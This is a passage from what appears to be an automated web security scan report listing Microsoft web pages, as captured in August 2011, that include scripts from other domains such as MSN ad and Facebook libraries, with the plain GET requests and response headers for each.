HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438481743200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:02 GMT Content-Length: 11727
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="pl" lang="pl"> <ME ...[SNIP]... </script> <script type="text/javascript" src="http://pro.hit.gemius.pl/gemius.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /poland/windows/windowsintune/pc-management.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279157831600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:03:49 GMT Content-Length: 102752
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html dir="ltr" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://developers.facebook.com ...[SNIP]... <div id="ctl00_ctl00_ctl00_BaseBody_uxAdvertisement_uxStandardAd">
The response dynamically includes the following script from another domain:
http://pro.hit.gemius.pl/gemius.js
Request
GET /poland/windowscool/video-02.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279855241900000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:06 GMT Content-Length: 19632
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv= ...[SNIP]... </script> <script type="text/javascript" src="http://pro.hit.gemius.pl/gemius.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /products/works/default.mspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=iso-8859-1 Expires: -1 Last-Modified: Fri, 26 Aug 2011 12:00:46 GMT Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 43820400200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:17:25 GMT Content-Length: 28581
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /pt/br/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 20:14:33 GMT Last-Modified: Thu, 25 Aug 2011 14:52:30 GMT ETag: 634498555500000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438818430800000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 20:04:32 GMT Content-Length: 96841
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pt"><head><title> ...[SNIP]... <li id="vrtc_ad_default" class="vrtc_ad_hidden"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /ru/ru/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:51:12 GMT Last-Modified: Fri, 26 Aug 2011 12:36:13 GMT ETag: 634499337730000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 79112243100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:41:11 GMT Content-Length: 169061
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="ru"><head><title> ...[SNIP]... <li id="vrtc_ad_default" class="vrtc_ad_hidden"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following scripts from other domains:
http://ads1.msn.com/library/dap.js
http://connect.facebook.net/en_US/all.js
Request
GET /security/pc-security/conficker.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:04 GMT Last-Modified: Wed, 10 Aug 2011 21:16:33 GMT ETag: 634485825930000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438706831600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:04 GMT Content-Length: 92694
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en" lang="en" ...[SNIP]... <!-- for the ad control --><script type="text/javascript" src="http://ads1.msn.com/library/dap.js"></script> ...[SNIP]... </script> <script type="text/javascript" src="http://connect.facebook.net/en_US/all.js"></script> ...[SNIP]...
The response dynamically includes the following scripts from other domains:
http://ads1.msn.com/library/dap.js
http://connect.facebook.net/en_US/all.js
Request
GET /security/pc-security/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:04 GMT Last-Modified: Tue, 09 Aug 2011 18:14:29 GMT ETag: 634484852690000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791603730900000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:04 GMT Content-Length: 91012
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en" lang="en" ...[SNIP]... <!-- for the ad control --><script type="text/javascript" src="http://ads1.msn.com/library/dap.js"></script> ...[SNIP]... </script> <script type="text/javascript" src="http://connect.facebook.net/en_US/all.js"></script> ...[SNIP]...
The response dynamically includes the following scripts from other domains:
http://ads1.msn.com/library/dap.js
http://connect.facebook.net/en_US/all.js
Request
GET /security/pc-security/firewalls-whatis.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:04 GMT Last-Modified: Mon, 11 Jul 2011 17:13:13 GMT ETag: 634459759930000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438224830800000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:03 GMT Content-Length: 86405
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en" lang="en" ...[SNIP]... <!-- for the ad control --><script type="text/javascript" src="http://ads1.msn.com/library/dap.js"></script> ...[SNIP]... </script> <script type="text/javascript" src="http://connect.facebook.net/en_US/all.js"></script> ...[SNIP]...
The response dynamically includes the following scripts from other domains:
http://ads1.msn.com/library/dap.js
http://connect.facebook.net/en_US/all.js
Request
GET /security/pc-security/malware-removal.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:03 GMT Last-Modified: Wed, 10 Aug 2011 21:16:48 GMT ETag: 634485826080000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791544430700000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:03 GMT Content-Length: 89839
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en" lang="en" ...[SNIP]... <!-- for the ad control --><script type="text/javascript" src="http://ads1.msn.com/library/dap.js"></script> ...[SNIP]... </script> <script type="text/javascript" src="http://connect.facebook.net/en_US/all.js"></script> ...[SNIP]...
The response dynamically includes the following scripts from other domains:
http://ads1.msn.com/library/dap.js
http://connect.facebook.net/en_US/all.js
Request
GET /security/resources/antivirus-whatis.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:05 GMT Last-Modified: Wed, 10 Aug 2011 21:15:48 GMT ETag: 634485825480000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279726431500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:04 GMT Content-Length: 86122
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" xml:lang="en" lang="en" ...[SNIP]... <!-- for the ad control --><script type="text/javascript" src="http://ads1.msn.com/library/dap.js"></script> ...[SNIP]... </script> <script type="text/javascript" src="http://connect.facebook.net/en_US/all.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /showcase/pl/pl/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNetMvc-Version: 1.0 X-AspNet-Version: 2.0.50727 VTag: 438307943000000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:42 GMT Content-Length: 52929
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head id="ctl00_Head1"><title ...[SNIP]... </div> <script type='text/javascript' src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /showcase/pl/pl/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 X-AspNetMvc-Version: 1.0 X-AspNet-Version: 2.0.50727 VTag: 279225741700000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 19:06:37 GMT Content-Length: 53244
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head id="ctl00_Head1"><title ...[SNIP]... </div> <script type='text/javascript' src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /sqlserver/en/us/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:45 GMT Last-Modified: Thu, 25 Aug 2011 19:58:15 GMT ETag: 634498738950000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279891131200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:36 GMT Content-Length: 64628
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /sv/se/ HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:51:07 GMT Last-Modified: Tue, 23 Aug 2011 15:19:43 GMT ETag: 634496843830000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791532842300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:41:07 GMT Content-Length: 42686
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="sv"><head><title> ...[SNIP]... <li id="vrtc_ad_default" class="vrtc_ad_hidden"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /systemcenter/configurationmanager/pl/pl/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:24 GMT Last-Modified: Tue, 12 Oct 2010 14:20:00 GMT ETag: 634224648000000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791544430700000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:24 GMT Content-Length: 42595
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pl"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /systemcenter/dataprotectionmanager/pl/pl/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:27 GMT Last-Modified: Tue, 12 Oct 2010 14:24:07 GMT ETag: 634224650470000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 27989431600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:25 GMT Content-Length: 40503
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pl"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /systemcenter/en/us/dynamic-data-centers.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:09 GMT Last-Modified: Tue, 12 Jul 2011 15:13:22 GMT ETag: 634460552020000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 438120831300000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:07 GMT Content-Length: 62249
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /systemcenter/en/us/service-manager.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:09 GMT Last-Modified: Tue, 12 Jul 2011 15:13:22 GMT ETag: 634460552020000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791224231500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:09 GMT Content-Length: 94110
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /systemcenter/operationsmanager/pl/pl/default.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:23 GMT Last-Modified: Tue, 12 Oct 2010 14:26:18 GMT ETag: 634224651780000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279215530600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:22 GMT Content-Length: 55198
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /systemcenter/operationsmanager/pl/pl/whats-new.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:19 GMT Last-Modified: Tue, 12 Oct 2010 14:26:18 GMT ETag: 634224651780000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791224231500000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:19 GMT Content-Length: 29728
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /systemcenter/pl/pl/datasheets.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:12 GMT Last-Modified: Tue, 12 Oct 2010 14:12:56 GMT ETag: 634224643760000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 791114130600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:11 GMT Content-Length: 34496
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pl"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:05:41 GMT Last-Modified: Tue, 12 Oct 2010 14:12:56 GMT ETag: 634224643760000000 Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279145242200000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 17:55:40 GMT Content-Length: 41217
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pl"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 18:10:48 GMT Last-Modified: Tue, 12 Oct 2010 14:12:56 GMT ETag: 634224643760000000 Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 27920200600000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:00:48 GMT Content-Length: 39147
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pl"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
http://ads1.msn.com/library/dap.js
Request
GET /systemcenter/pl/pl/management-suites.aspx HTTP/1.1 Host: www.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: public Content-Type: text/html; charset=utf-8 Expires: Fri, 26 Aug 2011 19:00:16 GMT Last-Modified: Tue, 12 Oct 2010 14:12:56 GMT ETag: 634224643760000000 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 VTag: 279918731100000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Fri, 26 Aug 2011 18:50:15 GMT Content-Length: 28450
...<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="pl"><head id="ctl ...[SNIP]... <div id="AdControl633355178776511904" class="adControl"><script type="text/javascript" src="http://Ads1.msn.com/library/dap.js"></script> ...[SNIP]...
The response dynamically includes the following script from another domain:
